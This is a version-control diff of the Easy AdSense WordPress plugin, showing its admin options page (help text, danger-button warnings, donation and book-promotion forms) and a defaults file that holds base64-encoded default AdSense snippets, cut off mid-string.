+<input type="submit" name="update_ezAdSenseSettings" value="<?php _e('Save Changes', 'easy-adsenser') ?>" title="<?php _e('Save the changes as specified above', 'easy-adsenser') ?>" onmouseover="Tip('<?php _e('Save the changes as specified above', 'easy-adsenser') ?>',WIDTH, 240, TITLE, 'Save Settings')" onmouseout="UnTip()"/>
+<input type="submit" name="reset_ezAdSenseSettings" value="<?php _e('Reset Options', 'easy-adsenser') ?>" title="<?php _e('Discard all your changes and load defaults. (Are you quite sure?)', 'easy-adsenser') ?>"  onmouseover="TagToTip('help3',WIDTH, 240, TITLE, 'DANGER!', BGCOLOR, '#ffcccc', FONTCOLOR, '#800000',BORDERCOLOR, '#c00000')" onmouseout="UnTip()"/>
+<input type="submit" name="clean_db"  value="<?php _e('Clean Database', 'easy-adsenser') ?>" onmouseover="TagToTip('help4',WIDTH, 280, TITLE, 'DANGER!', BGCOLOR, '#ffcccc', FONTCOLOR, '#800000',BORDERCOLOR, '#c00000')" onmouseout="UnTip()"/>
+<input type="submit" name="kill_me"  value="<?php _e('Uninstall', 'easy-adsenser') ?>" onmouseover="TagToTip('help5',WIDTH, 280, TITLE, 'DANGER!', BGCOLOR, '#ffcccc', FONTCOLOR, '#800000',BORDERCOLOR, '#c00000')" onmouseout="UnTip()"/>
+<?php echo $this->invite ; ?>
+</div>
+</form>
+
+<span id="help0">
+1.
+<?php
+_e('Generate AdSense code (from http://adsense.google.com &rarr; AdSense Setup &rarr; Get Ads).', 'easy-adsenser') ;
+?>
+<br />
+2.
+<?php
+_e('Cut and paste the AdSense code into the boxes below, deleting the existing text.', 'easy-adsenser') ;
+?>
+<br />
+3.
+<?php
+_e('Decide how to align and show the code in your blog posts.', 'easy-adsenser') ;
+?>
+<br />
+4. <?php
+_e('Take a look at the Google policy option, and other options. The defaults should work.', 'easy-adsenser') ;
+?>
+<br />
+5.
+<?php
+printf(__('If you want to use the widgets, drag and drop them at %s Appearance (or Design) &rarr; Widgets %s', 'easy-adsenser'), '<a href="widgets.php">', '</a>.') ;
+?>
+<br />
+<b>
+<?php
+_e('Save the options, and you are done!', 'easy-adsenser') ;
+?>
+</b>
+</span>
+
+<span id="help1">
+<?php _e('If you want to suppress AdSense in a particular post or page, give the <b><em>comment </em></b> "&lt;!--noadsense--&gt;" somewhere in its text.
+<br />
+<br />
+Or, insert a <b><em>Custom Field</em></b> with a <b>key</b> "adsense" and give it a <b>value</b> "no".<br />
+<br />
+Other <b><em>Custom Fields</em></b> you can use to fine-tune how a post or page displays AdSense blocks:<br />
+<b>Keys</b>:<br />
+adsense-top,
+adsense-middle,
+adsense-bottom,
+adsense-widget,
+adsense-search<br />
+<b>Values</b>:<br />
+left,
+right,
+center,
+no', 'easy-adsenser') ;?>
+</span>
+
+<span id="help1a">
+<?php _e('<em>Easy AdSense</em> gives you widgets to embelish your sidebars. You can configure them here (on the right hand side of the Options table below) and place them on your page using <a href="widgets.php"> Appearance (or Design) &rarr; Widgets</a>.
+<br />
+<br />
+1. <b>AdSense Widget</b> is an ad block widget that you can place any where on the sidebar. Typically, you would put a skyscraper block (160x600px, for instance) on your sidebar, but you can put anything -- not necessarily AdSense code.<br />
+<br />
+2. <b>AdSense Link Units</b>, if enabled, give you multiple widgets to put <a href="https://www.google.com/adsense/support/bin/answer.py?hl=en&amp;answer=15817" target="_blank">link units</a> on your sidebars. You can display three of them according to Google AdSense policy, and you can configure the number of widgets you need.<br /><br />
+3. <b>Google Search Widget</b> gives you another widget to place a <a href="https://www.google.com/adsense/support/bin/answer.py?hl=en&amp;answer=17960" target="_blank">custom AdSense search box</a> on your sidebar. You can customize the look of the search box and its title by configuring them on this page.', 'easy-adsenser') ;?>
+</span>
+
+<div id="share" style="padding:5px">
+<?php
+printf(__("Starting version %3.1f, <em>%s</em> has an ad space sharing option, if you would like to support its future development. It gives you an option to share a small fraction of your ad slots (default is 5%%) to show the author's ads. Use the option (in \"Support %s by Donating Ad Space\") below to change the value, or turn it off (by entering 0%%).", 'easy-adsenser'), 2.5, 'Easy AdSense', 'Easy AdSense') ;
+?>
+</div>
+
+<span id="rate">
+<iframe src="http://wordpress.org/extend/plugins/easy-adsenser/faq/" width="1000px" height="750px">
+</iframe>
+</span>
+
+<span id="help3">
+<font color="red"><?php _e('This <b>Reset Options</b> button discards all your changes and loads the default options. This is your only warning!', 'easy-adsenser') ; ?></font><br />
+<b><?php _e('Discard all your changes and load defaults. (Are you quite sure?)', 'easy-adsenser') ?></b></span>
+
+<span id="help4">
+<font color="red"><?php _e('The <b>Database Cleanup</b> button discards all your AdSense settings you have saved so far for <b>all</b> the themes, including the current one. Use it only if you know that you won\'t be using these themes. Please be careful with all database operations -- keep a backup.', 'easy-adsenser') ; ?></font><br />
+<b><?php _e('Discard all your changes and load defaults. (Are you quite sure?)', 'easy-adsenser') ?></b></span>
+
+<span id="help5">
+<font color="red"><?php printf(__('The <b>Uninstall</b> button really kills %s after cleaning up all the options it wrote in your database. This is your only warning! Please be careful with all database operations -- keep a backup.', 'easy-adsenser'), '<em>Easy AdSense</em>') ; ?></font><br />
+<b><?php _e('Kill this plugin. (Are you quite sure?)', 'easy-adsenser') ?></b></span>
+<hr />
+<br />
+<table class="form-table" >
+<tr><td>
+<ul style="padding-left:10px;list-style-type:circle; list-style-position:inside;" >
+<li>
+<?php _e('Please report any problems. And share your thoughts and comments.', 'easy-adsenser') ; ?>&nbsp;<a href="http://wordpress.org/tags/easy-adsenser" title="<?php _e('Post it in the WordPress forum', 'easy-adsenser') ; ?>" target="_blank"><?php _e("[WordPress Forum]", 'easy-adsenser') ?> </a> <?php _e("Or", 'easy-adsenser') ?> <a href="#" title="<?php _e('Contact the plugin author through email', 'easy-adsenser') ; ?>" onclick="TagToTip('help7', WIDTH, 1000, TITLE, 'Contact Manoj',STICKY, 1, CLOSEBTN, true, FIX, [20,20])"><?php _e("[Email Author]", 'easy-adsenser') ?></a>
+<span id="help7">
+<iframe src="http://manoj.thulasidas.com/mail.shtml" width="1024px" height="1024px">
+</iframe>
+</span>
+</li>
+<li>
+<b>Easy AdSense</b> <?php _e('puts a tiny link below the (first) ad unit it displays like this:', 'easy-adsenser') ; ?>
+<table bgcolor="#EAF3FA">
+<tr>
+<td align="center" style="border-bottom-width: 0px;">
+<?php echo '<script type="text/javascript"><!--
+google_ad_client = "pub-1213643583738263";
+/* 234x60 ezAdsense, created 11/25/08 */
+google_ad_slot = "8050392339";
+google_ad_width = 234;
+google_ad_height = 60;
+//-->
+</script>
+<script type="text/javascript"
+src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
+</script>' ?><br />
+<font size="-3"><a href="http://wordpress.org/extend/plugins/easy-adsenser/" target="_blank" title="<?php _e('The simplest way to put AdSense to work for you!', 'easy-adsenser') ; ?>">Easy AdSense</a> by <a href="http://www.Thulasidas.com/" target="_blank" title="<?php _e('Unreal Blog proudly brings you Easy AdSense', 'easy-adsenser') ; ?>">Unreal</a></font></td>
+</tr>
+</table>
+<?php _e('Consider leaving it unchanged. If you must suppress it, please use the Link-back options above.', 'easy-adsenser') ; ?>
+</li>
+
+<li>
+<?php _e('Check out my other plugin efforts:', 'easy-adsenser') ; ?>
+<ul style="margin-left:0px; padding-left:30px;list-style-type:square; list-style-position:inside;" >
+<li>
+<a href="http://wordpress.org/extend/plugins/theme-tweaker/" target="_blank" title="<?php _e('Tweak your color scheme', 'easy-adsenser') ; ?>"><b>Theme Tweaker</b></a>: <?php _e('To modify the color scheme of your themes with no CSS/Stylesheet editing.', 'easy-adsenser') ; ?>
+</li>
+<li>
+<a href="http://wordpress.org/extend/plugins/easy-latex/" target="_blank" title="<?php _e('LaTeX in your posts', 'easy-adsenser') ; ?>"><b> Easy LaTeX</b></a>: <?php _e('To translate LaTeX formulas like this [math](a+b)^2 = a^2 + b^2 + 2ab[/math] into this:', 'easy-adsenser') ; ?> <br/><img src="http://l.wordpress.com/latex.php?latex=(a%2bb)^2%20=%20a^2%20%2b%20b^2%20%2b%202ab&amp;bg=FFFFFF&amp;s=1" style="vertical-align:-70%;" alt="(a+b)^2 = a^2 + b^2 + 2ab" />
+</li>
+<li>
+<a href="http://wordpress.org/extend/plugins/adsense-now/" target="_blank" title="<?php _e('The simplest possible way to AdSense enable your blog', 'easy-adsenser') ; ?>"><b> AdSense Now!</b></a>: <?php _e('My lean and mean AdSense plugin. No mess, no fuss.', 'easy-adsenser') ; ?>
+</li>
+</ul>
+</li>
+</ul>
+</td>
+</tr>
+</table>
+
+<table class="form-table" >
+<tr><th scope="row"><h3><?php _e('Credits', 'easy-adsenser'); ?></h3></th></tr>
+<tr><td>
+<ul style="padding-left:10px;list-style-type:circle; list-style-position:inside;" >
+<li>
+<?php printf(__('%s uses the excellent Javascript/DHTML tooltips by %s', 'easy-adsenser'), '<b>Easy Adsenser</b>', '<a href="http://www.walterzorn.com" target="_blank" title="Javascript, DTML Tooltips"> Walter Zorn</a>.') ;
+?>
+</li>
+</ul>
+</td>
+</tr>
+</table>
+
+<div id="unreal">
+<center>
+Of Life, Universe and Everything<br />
+<big><b><em>The Unreal Universe</em></b></big><br />
+Only $9.95 for the eBook version!
+</center>
+<form action="https://www.paypal.com/cgi-bin/webscr" method="post">
+<input type="hidden" name="cmd" value="_s-xclick"/>
+<input type="hidden" name="hosted_button_id" value="1216642"/>
+<center><input type="image" src="/img/btn_buynow_SM.gif"  name="submit" title="The Unreal Universe eBook for only $9.95!" alt="[PayPal]"/></center>
+<img alt="" border="0" src="https://www.paypal.com/en_GB/i/scr/pixel.gif" width="1" height="1"/>
+</form>
+<table border="0" cellpadding="0" cellspacing="0" summary="" width="100%">
+<tr>
+<td colspan="2" align="center"><a href="http://www.thulasidas.com/about/about-my-book" target="_blank">Want to know more?</a></td></tr><tr><td>
+<small>
+Pages: 292<br />
+(282 in eBook)<br />
+Trimsize: 6" x 9" <br />
+Illustrations: 34<br />
+(9 in color in eBook)<br />
+Tables: 8 <br />
+Bibliography: Yes<br />
+Index: Yes<br />
+ISBN: 9789810575946&nbsp;&nbsp;&nbsp;
+</small>
+</td>
+<td align="right"><a href="http://www.thulasidas.com/buy"><img class="alignright" src="http://www.thulasidas.com/img/unreal.gif" alt="TheUnrealUniverse" title="Check out the beuatifully printed paperback!" /></a></td>
+</tr>
+</table>
+</div>
+
+<div id="donate">
+<?php _e('If you find yourself making a lot of money using this plugin, consider making a donation.', 'easy-adsener'); ?>
+<form action="https://www.paypal.com/cgi-bin/webscr" method="post">
+<input type="hidden" name="cmd" value="_s-xclick"/>
+<center><input type="image" src="https://www.paypal.com/en_US/i/btn/btn_donate_SM.gif" name="submit" alt="Support my plugin efforts"/></center>
+<img alt="" border="0" src="https://www.paypal.com/en_US/i/scr/pixel.gif" width="1" height="1"/>
+<input type="hidden" name="encrypted" value="-----BEGIN PKCS7-----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-----END PKCS7-----
+"/></form>
+</div>
+
+</div>
+<?php
+   }
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/defaults.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/defaults.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/defaults.php	(revision 44)
@@ -0,0 +1,4 @@
+<?php
+$str =
+'YToxNjp7czo2OiJlelRleHQiO3M6NDA2OiImbHQ7c2NyaXB0IHR5cGU9JnF1b3Q7dGV4dC9qYXZhc2NyaXB0JnF1b3Q7Jmd0OyZsdDshLS0NCmdvb2dsZV9hZF9jbGllbnQgPSAmcXVvdDtwdWItMTIxMzY0MzU4MzczODI2MyZxdW90OzsNCi8qIDIzNHg2MCBlekFkc2Vuc2UsIGNyZWF0ZWQgMTEvMjUvMDggKi8NCmdvb2dsZV9hZF9zbG90ID0gJnF1b3Q7ODA1MDM5MjMzOSZxdW90OzsNCmdvb2dsZV9hZF93aWR0aCA9IDIzNDsNCmdvb2dsZV9hZF9oZWlnaHQgPSA2MDsNCi8vLS0mZ3Q7DQombHQ7L3NjcmlwdCZndDsNCiZsdDtzY3JpcHQgdHlwZT0mcXVvdDt0ZXh0L2phdmFzY3JpcHQmcXVvdDsNCnNyYz0mcXVvdDtodHRwOi8vcGFnZWFkMi5nb29nbGVzeW5kaWNhdGlvbi5jb20vcGFnZWFkL3Nob3dfYWRzLmpzJnF1b3Q7Jmd0Ow0KJmx0Oy9zY3JpcHQmZ3Q7IjtzOjg6ImV6V2lkZ2V0IjtzOjQwOToiJmx0O3NjcmlwdCB0eXBlPSZxdW90O3RleHQvamF2YXNjcmlwdCZxdW90OyZndDsmbHQ7IS0tDQpnb29nbGVfYWRfY2xpZW50ID0gJnF1b3Q7cHViLTEyMTM2NDM1ODM3MzgyNjMmcXVvdDs7DQovKiAxNjB4NjAwLCBFekFkU2Vuc2VyIGNyZWF0ZWQgMTIvMjgvMDggKi8NCmdvb2dsZV9hZF9zbG90ID0gJnF1b3Q7MzM5MTE1MDAzMyZxdW90OzsNCmdvb2dsZV9hZF93aWR0aCA9IDE2MDsNCmdvb2dsZV9hZF9oZWlnaHQgPSA2MDA7DQovLy0tJmd0Ow0KJmx0Oy9zY3JpcHQmZ3Q7DQombHQ7c2NyaXB0IHR5cGU9JnF1b3Q7dGV4dC9qYXZhc2NyaXB0JnF1b3Q7DQpzcmM9JnF1b3Q7aHR0cDovL3BhZ2VhZDIuZ29vZ2xlc3luZGljYXRpb24uY29tL3BhZ2VhZC9zaG93X2Fkcy5qcyZxdW90OyZndDsNCiZsdDsvc2NyaXB0Jmd0OyI7czo0OiJlekxVIjtzOjM5NToiJmx0O3NjcmlwdCB0eXBlPSZxdW90O3RleHQvamF2YXNjcmlwdCZxdW90OyZndDsmbHQ7IS0tDQpnb29nbGVfYWRfY2xpZW50ID0gJnF1b3Q7cHViLTEyMTM2NDM1ODM3MzgyNjMmcXVvdDs7DQovKiAxMjB4OTAsIGNyZWF0ZWQgMi8xOS8wOSAqLw0KZ29vZ2xlX2FkX3Nsb3QgPSAmcXVvdDswNzI5NDIyMjE1JnF1b3Q7Ow0KZ29vZ2xlX2FkX3dpZHRoID0gMTIwOw0KZ29vZ2xlX2FkX2hlaWdodCA9IDkwOw0KLy8tLSZndDsNCiZsdDsvc2NyaXB0Jmd0Ow0KJmx0O3NjcmlwdCB0eXBlPSZxdW90O3RleHQvamF2YXNjcmlwdCZxdW90Ow0Kc3JjPSZxdW90O2h0dHA6Ly9wYWdlYWQyLmdvb2dsZXN5bmRpY2F0aW9uLmNvbS9wYWdlYWQvc2hvd19hZHMuanMmcXVvdDsmZ3Q7DQombHQ7L3NjcmlwdCZndDsiO3M6ODoiZXpTZWFyY2giO3M6NzAyOiImbHQ7Zm9ybSBhY3Rpb249JnF1b3Q7aHR0cDovL3d3dy5nb29nbGUuY29tL2NzZSZxdW90OyBpZD0mcXVvdDtjc2Utc2VhcmNoLWJveCZxdW90OyB0YXJnZXQ9JnF1b3Q7X2JsYW5rJnF1b3Q7Jmd0Ow0KICAmbHQ7ZGl2Jmd0Ow0KICAgICZsdDtpbnB1dCB0eXBlPSZxdW90O2hpZGRlbiZxdW90OyBuYW1lPSZxdW90O2N4JnF1b3Q7IHZhbHVlPSZxdW90O3BhcnRuZXItcHViLTEyMTM2NDM1ODM3MzgyNjM6NnF3d3NsLWFseDkmcXVvdDsgLyZndDsNCiAgICAmbHQ7aW5wdXQgdHlwZT0mcXVvdDtoaWRkZW4mcXVvdDsgbmFtZT0mcXVvdDtpZSZxdW90OyB2YWx1ZT0mcXVvdDtJU08tODg1OS0xJnF1b3Q7IC8mZ3Q7DQogICAgJmx0O2lucHV0IHR5cGU9JnF1b3Q7dGV4dCZxdW90OyBuYW1lPSZxdW90O3EmcXVvdDsgc2l6ZT0mcXVvdDsyMCZxdW90OyAvJmd0Ow0KICAgICZsdDtpbnB1dCB0eXBlPSZxdW90O3N1Ym1pdCZxdW90OyBuYW1lPSZxdW90O3NhJnF1b3Q7IHZhbHVlPSZxdW90O1NlYXJjaCZxdW90OyAvJmd0Ow0KICAmbHQ7L2RpdiZndDsNCiZsdDsvZm9ybSZndDsNCiZsdDtzY3JpcHQgdHlwZT0mcXVvdDt0ZXh0L2phdmFzY3JpcHQmcXVvdDsgc3JjPSZxdW90O2h0dHA6Ly93d3cuZ29vZ2xlLmNvbS9jb29wL2NzZS9icmFuZD9mb3JtPWNzZS1zZWFyY2gtYm94JmFtcDthbXA7bGFuZz1lbiZxdW90OyZndDsmbHQ7L3NjcmlwdCZndDsiO3M6NjoiNzI4eDkwIjtzOjQwOToiJmx0O3NjcmlwdCB0eXBlPSZxdW90O3RleHQvamF2YXNjcmlwdCZxdW90OyZndDsmbHQ7IS0tDQpnb29nbGVfYWRfY2xpZW50ID0gJnF1b3Q7cHViLTEyMTM2NDM1ODM3MzgyNjMmcXVvdDs7DQovKiBQbHVnaW46IGV6QWRzIDcyOHg5MCwgY3JlYXRlZCA2LzIxLzA5ICovDQpnb29nbGVfYWRfc2xvdCA9ICZxdW90OzgzMTUzMzMzNzAmcXVvdDs7DQpnb29nbGVfYWRfd2lkdGggPSA3Mjg7DQpnb29nbGVfYWRfaGVpZ2h0ID0gOTA7DQovLy0tJmd0Ow0KJmx0Oy9zY3JpcHQmZ3Q7DQombHQ7c2NyaXB0IHR5cGU9JnF1b3Q7dGV4dC9qYXZhc2NyaXB0JnF1b3Q7DQpzcmM9JnF1b3Q7aHR0cDovL3BhZ2VhZDIuZ29vZ2xlc3luZGljYXRpb24uY29tL3BhZ2VhZC9zaG93X2Fkcy5qcyZxdW90OyZndDsNCiZsdDsvc2NyaXB0Jmd0OyI7czo2OiI0Njh4NjAiO3M6NDA5OiImbHQ7c2NyaXB0IHR5cGU9JnF1b3Q7dGV4dC9qYXZhc2NyaXB0JnF1b3Q7Jmd0OyZsdDshLS0NCmdvb2dsZV9hZF9jbGllbnQgPSAmcXVvdDtwdWItMTIxMzY0MzU4MzczODI2MyZxdW90OzsNCi8qIFBsdWdpbjogZXpBZHMgNDY4eDYwLCBjcmVhdGVkIDYvMjEvMDkgKi8NCmdvb2dsZV9hZF9zbG90ID0gJnF1b3Q7Nzc4NTIxOTU2NCZxdW90OzsNCmdvb2dsZV9hZF93aWR0aCA9IDQ2ODsNCmdvb2dsZV9hZF9oZWlnaHQgPSA2MDsNCi8vLS0mZ3Q7DQombHQ7L3NjcmlwdCZndDsNCiZsdDtzY3JpcHQgdHlwZT0mcXVvdDt0ZXh0L2phdmFzY3JpcHQmcXVvdDsNCnNyYz0mcXVvdDtodHRwOi8vcGFnZWFkMi5nb29nbGVzeW5kaWNhdGlvbi5jb20vcGFnZWFkL3Nob3dfYWRzLmpzJnF1b3Q7Jmd0Ow0KJmx0Oy9zY3JpcHQmZ3Q7IjtzOjY6IjIzNHg2MCI7czo0MDk6IiZsdDtzY3JpcHQgdHlwZT0mcXVvdDt0ZXh0L2phdmFzY3JpcHQmcXVvdDsmZ3Q7Jmx0OyEtLQ0KZ29vZ2xlX2FkX2NsaWVudCA9ICZxdW90O3B1Yi0xMjEzNjQzNTgzNzM4MjYzJnF1b3Q7Ow0KLyogUGx1Z2luOiBlekFkcyAyMzR4NjAsIGNyZWF0ZWQgNi8yMS8wOSAqLw0KZ29vZ2xlX2FkX3Nsb3QgPSAmcXVvdDs1Njk1NjAzMjMzJnF1b3Q7Ow0KZ29vZ2xlX2FkX3dpZHRoID0gMjM0Ow0KZ29vZ2xlX2FkX2hlaWdodCA9IDYwOw0KLy8tLSZndDsNCiZsdDsvc2NyaXB0Jmd0Ow0KJmx0O3NjcmlwdCB0eXBlPSZxdW90O3RleHQvamF2YXNjcmlwdCZxdW90Ow0Kc3JjPSZxdW90O2h0dHA6Ly9wYWdlYWQyLmdvb2dsZXN5bmRpY2F0aW9uLmNvbS9wYWdlYWQvc2hvd19hZHMuanMmcXVvdDsmZ3Q7DQombHQ7L3NjcmlwdCZndDsiO3M6NzoiMTIweDYwMCI7czo0MTE6IiZsdDtzY3JpcHQgdHlwZT0mcXVvdDt0ZXh0L2phdmFzY3JpcHQmcXVvdDsmZ3Q7Jmx0OyEtLQ0KZ29vZ2xlX2FkX2NsaWVudCA9ICZxdW90O3B1Yi0xMjEzNjQzNTgzNzM4MjYzJnF1b3Q7Ow0KLyogUGx1Z2luOiBlekFkcyAxMjB4NjAwLCBjcmVhdGVkIDYvMjEvMDkgKi8NCmdvb2dsZV9hZF9zbG90ID0gJnF1b3Q7Mzg2OTU4Nzg3NiZxdW90OzsNCmdvb2dsZV9hZF93aWR0aCA9IDEyMDsNCmdvb2dsZV9hZF9oZWlnaHQgPSA2MDA7DQovLy0tJmd0Ow0KJmx0Oy9zY3JpcHQmZ3Q7DQombHQ7c2NyaXB0IHR5cGU9JnF1b3Q7dGV4dC9qYXZhc2NyaXB0JnF1b3Q7DQpzcmM9JnF1b3Q7aHR0cDovL3BhZ2VhZDIuZ29vZ2xlc3luZGljYXRpb24uY29tL3BhZ2VhZC9zaG93X2Fkcy5qcyZxdW90OyZndDsNCiZsdDsvc2NyaXB0Jmd0OyI7czo3OiIxNjB4NjAwIjtzOjQxMToiJmx0O3NjcmlwdCB0eXBlPSZxdW90O3RleHQvamF2YXNjcmlwdCZxdW90OyZndDsmbHQ7IS0tDQpnb29nbGVfYWRfY2xpZW50ID0gJnF1b3Q7cHViLTEyMTM2NDM1ODM3MzgyNjMmcXVvdDs7DQovKiBQbHVnaW46IGV6QWRzIDE2MHg2MDAsIGNyZWF0ZWQgNi8yMS8wOSAqLw0KZ29vZ2xlX2FkX3Nsb3QgPSAmcXVvdDs2ODUyNjU5ODE4JnF1b3Q7Ow0KZ29vZ2xlX2FkX3dpZHRoID0gMTYwOw0KZ29vZ2xlX2FkX2hlaWdodCA9IDYwMDsNCi8vLS0mZ3Q7DQombHQ7L3NjcmlwdCZndDsNCiZsdDtzY3JpcHQgdHlwZT0mcXVvdDt0ZXh0L2phdmFzY3JpcHQmcXVvdDsNCnNyYz0mcXVvdDtodHRwOi8vcGFnZWFkMi5nb29nbGVzeW5kaWNhdGlvbi5jb20vcGFnZWFkL3Nob3dfYWRzLmpzJnF1b3Q7Jmd0Ow0KJmx0Oy9zY3JpcHQmZ3Q7IjtzOjc6IjEyMHgyNDAiO3M6NDExOiImbHQ7c2NyaXB0IHR5cGU9JnF1b3Q7dGV4dC9qYXZhc2NyaXB0JnF1b3Q7Jmd0OyZsdDshLS0NCmdvb2dsZV9hZF9jbGllbnQgPSAmcXVvdDtwdWItMTIxMzY0MzU4MzczODI2MyZxdW90OzsNCi8qIFBsdWdpbjogZXpBZHMgMTIweDI0MCwgY3JlYXRlZCA2LzIxLzA5ICovDQpnb29nbGVfYWRfc2xvdCA9ICZxdW90OzQyOTU1ODAxNzImcXVvdDs7DQpnb29nbGVfYWRfd2lkdGggPSAxMjA7DQpnb29nbGVfYWRfaGVpZ2h0ID0gMjQwOw0KLy8tLSZndDsNCiZsdDsvc2NyaXB0Jmd0Ow0KJmx0O3NjcmlwdCB0eXBlPSZxdW90O3RleHQvamF2YXNjcmlwdCZxdW90Ow0Kc3JjPSZxdW90O2h0dHA6Ly9wYWdlYWQyLmdvb2dsZXN5bmRpY2F0aW9uLmNvbS9wYWdlYWQvc2hvd19hZHMuanMmcXVvdDsmZ3Q7DQombHQ7L3NjcmlwdCZndDsiO3M6NzoiMzM2eDI4MCI7czo0MTE6IiZsdDtzY3JpcHQgdHlwZT0mcXVvdDt0ZXh0L2phdmFzY3JpcHQmcXVvdDsmZ3Q7Jmx0OyEtLQ0KZ29vZ2xlX2FkX2NsaWVudCA9ICZxdW90O3B1Yi0xMjEzNjQzNTgzNzM4MjYzJnF1b3Q7Ow0KLyogUGx1Z2luOiBlekFkcyAzMzZ4MjgwLCBjcmVhdGVkIDYvMjEvMDkgKi8NCmdvb2dsZV9hZF9zbG90ID0gJnF1b3Q7NzYwNjMyNzc3NCZxdW90OzsNCmdvb2dsZV9hZF93aWR0aCA9IDMzNjsNCmdvb2dsZV9hZF9oZWlnaHQgPSAyODA7DQovLy0tJmd0Ow0KJmx0Oy9zY3JpcHQmZ3Q7DQombHQ7c2NyaXB0IHR5cGU9JnF1b3Q7dGV4dC9qYXZhc2NyaXB0JnF1b3Q7DQpzcmM9JnF1b3Q7aHR0cDovL3BhZ2VhZDIuZ29vZ2xlc3luZGljYXRpb24uY29tL3BhZ2VhZC9zaG93X2Fkcy5qcyZxdW90OyZndDsNCiZsdDsvc2NyaXB0Jmd0OyI7czo3OiIzMDB4MjUwIjtzOjQxMToiJmx0O3NjcmlwdCB0eXBlPSZxdW90O3RleHQvamF2YXNjcmlwdCZxdW90OyZndDsmbHQ7IS0tDQpnb29nbGVfYWRfY2xpZW50ID0gJnF1b3Q7cHViLTEyMTM2NDM1ODM3MzgyNjMmcXVvdDs7DQovKiBQbHVnaW46IGV6QWRzIDMwMHg